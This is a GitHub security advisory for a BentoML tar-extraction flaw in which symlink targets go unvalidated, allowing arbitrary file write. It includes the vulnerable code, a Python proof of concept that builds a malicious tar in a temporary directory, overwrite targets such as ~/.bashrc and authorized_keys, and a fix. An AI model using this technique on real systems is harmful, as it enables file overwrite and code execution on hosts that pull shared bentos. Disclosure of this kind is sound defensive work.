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BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction

High severity GitHub Reviewed Published Mar 3, 2026 in bentoml/BentoML • Updated Mar 4, 2026

Package

pip bentoml (pip)

Affected versions

< 1.4.36

Patched versions

1.4.36

Description

Arbitrary File Write via Symlink Path Traversal in Tar Extraction

Summary

The safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.

Affected Component

  • File: src/bentoml/_internal/utils/filesystem.py:58-96
  • Callers: src/bentoml/_internal/cloud/bento.py:542, src/bentoml/_internal/cloud/model.py:504
  • Affected versions: All versions with safe_extract_tarfile()

Severity

CVSS 3.1: 8.1 (High)
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Vulnerability Details

Vulnerable Code (filesystem.py:58-96)

def safe_extract_tarfile(tar, destination):
    os.makedirs(destination, exist_ok=True)
    for member in tar.getmembers():
        fn = member.name
        path = os.path.abspath(os.path.join(destination, fn))
        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE
            continue  # Only checks member path, NOT symlink target
        if member.issym():
            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target
        else:
            fp = tar.extractfile(member)
            with open(path, "wb") as destfp:  # Line 92: open() FOLLOWS symlinks
                shutil.copyfileobj(fp, destfp)

The Bug

  1. Line 64: Path(path).is_relative_to(destination) checks the member's OWN path, not the symlink target
  2. Line 75: tar._extract_member() creates symlink with unvalidated target (e.g., /etc)
  3. Line 92: open(path, "wb") follows the symlink, writing OUTSIDE the destination

os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.

Proof of Concept

import io, os, shutil, tarfile, tempfile
from pathlib import Path

def create_malicious_tar(target_dir, target_file, payload):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w:gz') as tar:
        sym = tarfile.TarInfo(name='escape')
        sym.type = tarfile.SYMTYPE
        sym.linkname = target_dir
        tar.addfile(sym)
        info = tarfile.TarInfo(name=f'escape/{target_file}')
        info.size = len(payload)
        tar.addfile(info, io.BytesIO(payload))
    buf.seek(0)
    return buf

with tempfile.TemporaryDirectory() as tmpdir:
    extract_dir = os.path.join(tmpdir, 'extract')
    target_dir = os.path.join(tmpdir, 'outside')
    os.makedirs(target_dir)
    
    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')
    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')
    
    # Reproduce filesystem.py:58-96
    os.makedirs(extract_dir, exist_ok=True)
    for member in tar.getmembers():
        path = os.path.abspath(os.path.join(extract_dir, member.name))
        if not Path(path).is_relative_to(extract_dir): continue
        if member.issym():
            tar._extract_member(member, path)  # Symlink target NOT checked
        else:
            fp = tar.extractfile(member)
            os.makedirs(os.path.dirname(path), exist_ok=True)
            if fp:
                with open(path, 'wb') as destfp:  # Follows symlink!
                    shutil.copyfileobj(fp, destfp)
    
    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED

Impact

1. Arbitrary file overwrite via shared bentos

BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorized_keys, crontabs, Python site-packages.

2. Remote code execution via file overwrite

Overwriting ~/.bashrc or Python packages achieves RCE.

3. BentoCloud deployments

safe_extract_tarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.

Remediation

Validate symlink targets:

if member.issym():
    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
    if not Path(target).is_relative_to(dest):
        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
        continue

Or use Python 3.12+ tar.extractall(filter='data').

References

  • CWE-59: Improper Link Resolution Before File Access ('Link Following')
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

References

@frostming frostming published to bentoml/BentoML Mar 3, 2026
Published to the GitHub Advisory Database Mar 3, 2026
Reviewed Mar 3, 2026
Published by the National Vulnerability Database Mar 3, 2026
Last updated Mar 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

CVE ID

CVE-2026-27905

GHSA ID

GHSA-m6w7-qv66-g3mf

Source code

Credits

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